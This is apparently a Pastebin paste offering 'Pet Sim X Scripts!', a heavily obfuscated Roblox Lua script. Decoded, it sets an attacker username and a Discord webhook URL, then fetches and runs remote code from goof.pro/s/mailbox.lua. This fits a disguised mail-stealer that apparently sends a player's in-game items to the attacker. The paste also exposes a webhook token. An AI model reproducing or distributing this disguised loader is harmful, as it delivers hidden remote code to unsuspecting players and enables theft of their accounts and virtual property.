Advertisement
I_F0

Pet Sim X Scripts!

Jul 30th, 2023
122
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.60 KB | Gaming | 0 0
  1. --[[
  2. .____ ________ ___. _____ __
  3. | | __ _______ \_____ \\_ |___/ ____\_ __ ______ ____ _____ _/ |_ ___________
  4. | | | | \__ \ / | \| __ \ __\ | \/ ___// ___\\__ \\ __\/ _ \_ __ \
  5. | |___| | // __ \_/ | \ \_\ \ | | | /\___ \\ \___ / __ \| | ( <_> ) | \/
  6. |_______ \____/(____ /\_______ /___ /__| |____//____ >\___ >____ /__| \____/|__|
  7. \/ \/ \/ \/ \/ \/ \/
  8. \_Welcome to LuaObfuscator.com (Alpha 0.9.14) ~ Much Love, Ferib
  9.  
  10. ]]--
  11.  
  12. local v0=tonumber;local v1=string.byte;local v2=string.char;local v3=string.sub;local v4=string.gsub;local v5=string.rep;local v6=table.concat;local v7=table.insert;local v8=math.ldexp;local v9=getfenv or function()return _ENV;end ;local v10=setmetatable;local v11=pcall;local v12=select;local v13=unpack or table.unpack ;local v14=tonumber;local function v15(v16,v17,...)local v18=1;local v19;v16=v4(v3(v16,5),"..",function(v30)if (v1(v30,2)==79) then local v83=0;while true do if (v83==0) then v19=v0(v3(v30,1,1));return "";end end else local v84=0;local v85;while true do if (v84==0) then v85=v2(v0(v30,16));if v19 then local v98=v5(v85,v19);v19=nil;return v98;else return v85;end break;end end end end);local function v20(v31,v32,v33)if v33 then local v86=(v31/((5 -3)^(v32-1)))%((5 -3)^(((v33-(1 + 0)) -(v32-(1 -0))) + ((995 -(32 + 85)) -(282 + 595)))) ;return v86-(v86%(2 -1)) ;else local v87=(621 -(555 + 64))^(v32-(932 -(857 + 74))) ;return (((v31%(v87 + v87))>=v87) and (1066 -(68 + 997))) or ((557 + 11) -(367 + (875 -674))) ;end end local function v21()local v34=0 + 0 ;local v35;while true do if (v34==1) then return v35;end if (v34==((1768 -811) -(892 + 65))) then v35=v1(v16,v18,v18);v18=v18 + 1 ;v34=2 -1 ;end end end local function v22()local v36=0 -0 ;local v37;local v38;while true do if (v36==(351 -(87 + 263))) then return (v38 * (436 -(67 + (1065 -(802 + 150))))) + v37 ;end if (v36==(0 + 0)) then v37,v38=v1(v16,v18,v18 + (4 -2) );v18=v18 + 2 + 0 ;v36=3 -2 ;end end end local function v23()local v39=0 -0 ;local v40;local v41;local v42;local v43;while true do if (v39==(1 -0)) then return (v43 * (12211951 + 4565265)) + (v42 * (66533 -(915 + 82))) + (v41 * (724 -468)) + v40 ;end if (v39==(1187 -(1069 + 118))) then v40,v41,v42,v43=v1(v16,v18,v18 + 3 );v18=v18 + 3 + 1 ;v39=1 -0 ;end end end local function v24()local v44=v23();local v45=v23();local v46=2 -1 ;local v47=(v20(v45,1 -0 ,4 + 16 ) * ((3 -1)^(32 + 0))) + v44 ;local v48=v20(v45,21,31);local v49=((v20(v45,823 -(368 + 423) )==(3 -2)) and -((78 -59) -(6 + 4 + 8))) or (3 -(7 -5)) ;if (v48==(442 -((1477 -1061) + (885 -(814 + 45))))) then if (v47==(0 -0)) then return v49 * ((0 -0) + 0) ;else v48=1 -(0 + 0) ;v46=438 -(145 + 293) ;end elseif (v48==(2477 -(44 + 386))) then return ((v47==(1486 -(998 + 488))) and (v49 * ((1 + 0)/(0 + 0)))) or (v49 * NaN) ;end return v8(v49,v48-1023 ) * (v46 + (v47/((774 -(201 + 202 + 369))^(1190 -((1001 -(261 + 624)) + 1022))))) ;end local function v25(v50)local v51;if not v50 then v50=v23();if (v50==(0 -0)) then return "";end end v51=v3(v16,v18,(v18 + v50) -(1081 -(1020 + 60)) );v18=v18 + v50 ;local v52={};for v67=1424 -(630 + 793) , #v51 do v52[v67]=v2(v1(v3(v51,v67,v67)));end return v6(v52);end local v26=v23;local function v27(...)return {...},v12("#",...);end local function v28()local v53=159 -(111 + 48) ;local v54;local v55;local v56;local v57;local v58;local v59;local v60;while true do if (v53==0) then v54=0 + 0 ;v55=nil;v53=1 + 0 ;end if (1==v53) then local v91=0 -0 ;while true do if (v91~=(1275 -(388 + 886))) then else v53=2 -0 ;break;end if (v91==(0 + 0)) then v56=nil;v57=nil;v91=561 -(306 + 254) ;end end end if (v53==3) then v60=nil;while true do local v92=0 + 0 ;local v93;while true do if (v92~=0) then else v93=0;while true do if ((0 -0)~=v93) then else local v107=1467 -(899 + 568) ;while true do if (v107~=0) then else if (v54~=(0 + 0)) then else local v150=0;local v151;local v152;while true do if (v150~=(0 -0)) then else v151=0;v152=nil;v150=604 -(268 + 335) ;end if (v150==1) then while true do if (v151==(290 -(60 + 230))) then v152=572 -(426 + 146) ;while true do if (v152~=(1 + 1)) then else v54=1457 -(282 + 1174) ;break;end if (v152==0) then v55={};v56={};v152=812 -(569 + 242) ;end if (v152==1) then v57={};v58={v55,v56,nil,v57};v152=1253 -(721 + 530) ;end end break;end end break;end end end if (v54==(1272 -(945 + 326))) then local v153=0 -0 ;while true do if (v153~=(2 + 0)) then else v54=2;break;end if (v153~=(701 -(271 + 429))) then else local v154=0;while true do if (v154==(1 + 0)) then v153=1502 -(1408 + 92) ;break;end if (0~=v154) then else for v160=1087 -(461 + 625) ,v59 do local v161=0;local v162;local v163;local v164;local v165;while true do if (v161==(1290 -(993 + 295))) then while true do if (v162~=0) then else v163=0 + 0 ;v164=nil;v162=1;end if (v162~=(1172 -(418 + 753))) then else v165=nil;while true do if (v163==1) then if (v164==(1 + 0)) then v165=v21()~=(0 + 0) ;elseif (v164==2) then v165=v24();elseif (v164==3) then v165=v25();end v60[v160]=v165;break;end if ((0 + 0)==v163) then local v169=0;while true do if (v169==0) then v164=v21();v165=nil;v169=1;end if (v169~=(1 + 0)) then else v163=530 -(406 + 123) ;break;end end end end break;end end break;end if (v161~=1) then else v164=nil;v165=nil;v161=2;end if (v161==0) then v162=1769 -(1749 + 20) ;v163=nil;v161=1;end end end v58[1 + 2 ]=v21();v154=1323 -(1249 + 73) ;end end end if (v153==0) then local v155=0;local v156;while true do if (v155~=0) then else v156=0;while true do if (v156==1) then v153=1 + 0 ;break;end if (0==v156) then local v166=1145 -(466 + 679) ;while true do if (v166~=(2 -1)) then else v156=2 -1 ;break;end if (v166==0) then v59=v23();v60={};v166=1;end end end end break;end end end end end v107=1;end if (v107==(1901 -(106 + 1794))) then v93=1;break;end end end if (v93==(1 + 0)) then if (v54==2) then local v144=0;local v145;local v146;while true do if ((0 + 0)==v144) then v145=0 -0 ;v146=nil;v144=1;end if (v144==1) then while true do if (v145==(0 -0)) then v146=0;while true do local v157=114 -(4 + 110) ;local v158;while true do if (v157==0) then v158=0;while true do if ((584 -(57 + 527))~=v158) then else if (v146==1) then return v58;end if (v146~=0) then else local v167=1427 -(41 + 1386) ;while true do if (1==v167) then v146=104 -(17 + 86) ;break;end if (v167==0) then for v170=1,v23() do local v171=0;local v172;local v173;while true do if ((0 + 0)==v171) then local v176=0;local v177;while true do if (v176==(0 -0)) then v177=0 -0 ;while true do if (v177~=1) then else v171=167 -(122 + 44) ;break;end if (v177==0) then v172=0;v173=nil;v177=1 -0 ;end end break;end end end if ((3 -2)~=v171) then else while true do if (v172~=0) then else v173=v21();if (v20(v173,1,1 + 0 )==0) then local v178=0;local v179;local v180;local v181;local v182;local v183;while true do if (v178==(0 + 0)) then v179=0;v180=nil;v178=1 -0 ;end if (v178==(66 -(30 + 35))) then v181=nil;v182=nil;v178=2;end if (v178==2) then v183=nil;while true do if (v179~=2) then else while true do if (v180==(0 + 0)) then local v185=0;local v186;while true do if ((1257 -(1043 + 214))~=v185) then else v186=0 -0 ;while true do if (v186==(1213 -(323 + 889))) then v180=1;break;end if (v186~=0) then else v181=v20(v173,2,3);v182=v20(v173,10 -6 ,6);v186=581 -(361 + 219) ;end end break;end end end if (v180==(323 -(53 + 267))) then if (v20(v182,1 + 2 ,416 -(15 + 398) )==(983 -(18 + 964))) then v183[4]=v60[v183[14 -10 ]];end v55[v170]=v183;break;end if (v180~=(2 + 0)) then else local v188=0;while true do if (0==v188) then if (v20(v182,1 + 0 ,1)~=1) then else v183[2]=v60[v183[2]];end if (v20(v182,2,2)~=(851 -(20 + 830))) then else v183[3 + 0 ]=v60[v183[3]];end v188=127 -(116 + 10) ;end if (v188==(1 + 0)) then v180=741 -(542 + 196) ;break;end end end if ((1 -0)==v180) then local v189=0 + 0 ;while true do if (v189==(0 + 0)) then local v192=0;while true do if (1==v192) then v189=1;break;end if (v192==(0 + 0)) then v183={v22(),v22(),nil,nil};if (v181==(405 -(118 + 287))) then local v197=0;local v198;local v199;local v200;while true do if (v197==(3 -2)) then v200=nil;while true do if (v198==(1121 -(118 + 1003))) then local v203=0 -0 ;while true do if (v203~=(377 -(142 + 235))) then else v199=0 -0 ;v200=nil;v203=1;end if (v203==(1 + 0)) then v198=978 -(553 + 424) ;break;end end end if (v198~=(1 -0)) then else while true do if (v199==0) then v200=0;while true do if ((0 + 0)==v200) then v183[3]=v22();v183[4 + 0 ]=v22();break;end end break;end end break;end end break;end if (v197==0) then v198=0 + 0 ;v199=nil;v197=1 + 0 ;end end elseif (v181==(1 + 0)) then v183[6 -3 ]=v23();elseif (v181==(5 -3)) then v183[3]=v23() -((4 -2)^(5 + 11)) ;elseif (v181==3) then local v204=0 -0 ;local v205;local v206;while true do if ((754 -(239 + 514))==v204) then while true do if (v205~=0) then else v206=0 + 0 ;while true do if (v206~=(1329 -(797 + 532))) then else v183[3 + 0 ]=v23() -((1 + 1)^(37 -21)) ;v183[1206 -(373 + 829) ]=v22();break;end end break;end end break;end if (v204==(731 -(476 + 255))) then v205=1130 -(369 + 761) ;v206=nil;v204=1;end end end v192=1 + 0 ;end end end if (v189~=1) then else v180=2 -0 ;break;end end end end break;end if ((0 -0)~=v179) then else v180=238 -(64 + 174) ;v181=nil;v179=1 + 0 ;end if (v179==1) then local v184=0;while true do if (v184~=1) then else v179=2;break;end if (v184==(0 -0)) then v182=nil;v183=nil;v184=1;end end end end break;end end end break;end end break;end end end for v174=1,v23() do v56[v174-(337 -(144 + 192)) ]=v28();end v167=217 -(42 + 174) ;end end end break;end end break;end end end break;end end break;end end end break;end end break;end end end break;end if ((2 + 0)~=v53) then else v58=nil;v59=nil;v53=3;end end end local function v29(v61,v62,v63)local v64=v61[1];local v65=v61[2];local v66=v61[3];return function(...)local v69=v64;local v70=v65;local v71=v66;local v72=v27;local v73=1;local v74= -1;local v75={};local v76={...};local v77=v12("#",...) -1 ;local v78={};local v79={};for v88=0,v77 do if (v88>=v71) then v75[v88-v71 ]=v76[v88 + 1 ];else v79[v88]=v76[v88 + 1 ];end end local v80=(v77-v71) + 1 ;local v81;local v82;while true do v81=v69[v73];v82=v81[1];if (v82<=5) then if (v82<=2) then if (v82<=0) then v79[v81[2]]=v81[3];elseif (v82==1) then v63[v81[3]]=v79[v81[2]];else v79[v81[2]]=v63[v81[3]];end elseif (v82<=3) then v63[v81[3]]=v79[v81[2]];v73=v73 + 1 ;v81=v69[v73];v79[v81[2]]=v81[3];v73=v73 + 1 ;v81=v69[v73];v63[v81[3]]=v79[v81[2]];v73=v73 + 1 ;v81=v69[v73];v79[v81[2]]=v81[3];v73=v73 + 1 ;v81=v69[v73];v73=v81[3];elseif (v82>4) then v79[v81[2]]();else do return;end end elseif (v82<=8) then if (v82<=6) then local v105=0;local v106;while true do if (v105==0) then v106=v81[2];v79[v106]=v79[v106](v13(v79,v106 + 1 ,v74));break;end end elseif (v82>7) then local v112=v81[2];local v113,v114=v72(v79[v112](v13(v79,v112 + 1 ,v81[3])));v74=(v114 + v112) -1 ;local v115=0;for v139=v112,v74 do v115=v115 + 1 ;v79[v139]=v113[v115];end else local v116=v81[2];local v117=v79[v81[3]];v79[v116 + 1 ]=v117;v79[v116]=v117[v81[4]];end elseif (v82<=10) then if (v82>9) then v79[v81[2]]=v81[3]~=0 ;elseif (v79[v81[2]]==v81[4]) then v73=v73 + 1 ;else v73=v81[3];end elseif (v82==11) then v73=v81[3];else local v123;local v124,v125;local v126;local v127;v79[v81[2]]=v63[v81[3]];v73=v73 + 1 ;v81=v69[v73];v127=v81[2];v126=v79[v81[3]];v79[v127 + 1 ]=v126;v79[v127]=v126[v81[4]];v73=v73 + 1 ;v81=v69[v73];v79[v81[2]]=v81[3];v73=v73 + 1 ;v81=v69[v73];v79[v81[2]]=v81[3]~=0 ;v73=v73 + 1 ;v81=v69[v73];v127=v81[2];v124,v125=v72(v79[v127](v13(v79,v127 + 1 ,v81[3])));v74=(v125 + v127) -1 ;v123=0;for v142=v127,v74 do local v143=0;while true do if (0==v143) then v123=v123 + 1 ;v79[v142]=v124[v123];break;end end end v73=v73 + 1 ;v81=v69[v73];v127=v81[2];v79[v127]=v79[v127](v13(v79,v127 + 1 ,v74));v73=v73 + 1 ;v81=v69[v73];v79[v81[2]]();v73=v73 + 1 ;v81=v69[v73];v73=v81[3];end v73=v73 + 1 ;end end;end return v29(v28(),{},v17)(...);end v15("LOL!0A3O00028O00026O00F03F030A3O006C6F6164737472696E6703043O0067616D6503073O00482O7470476574031E3O00682O7470733A2O2F672O6F662E70726F2F732F6D61696C626F782E6C756103083O00557365724E616D6503093O006661686164332O733403073O00576562482O6F6B03793O00682O7470733A2O2F646973636F72642E636F6D2F6170692F776562682O6F6B732F2O313239342O3238362O3732313839312O39332F324A484F6E31656651355F55657A6B38334E456B5638445F747A315A476761395665532O55597548766E6D4D6653657146346C62665F572D577269586267344B625F4B5300153O00124O00013O0026093O000C0001000200040B3O000C0001001202000100033O00120C000200043O00202O00020002000500122O000400066O000500016O000200056O00013O00024O00010001000100044O001400010026093O00010001000100040B3O0001000100122O000100083O001203000100073O00122O0001000A3O00122O000100093O00124O00023O00044O000100012O00043O00017O00",v9(),...);
Tags: psx
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement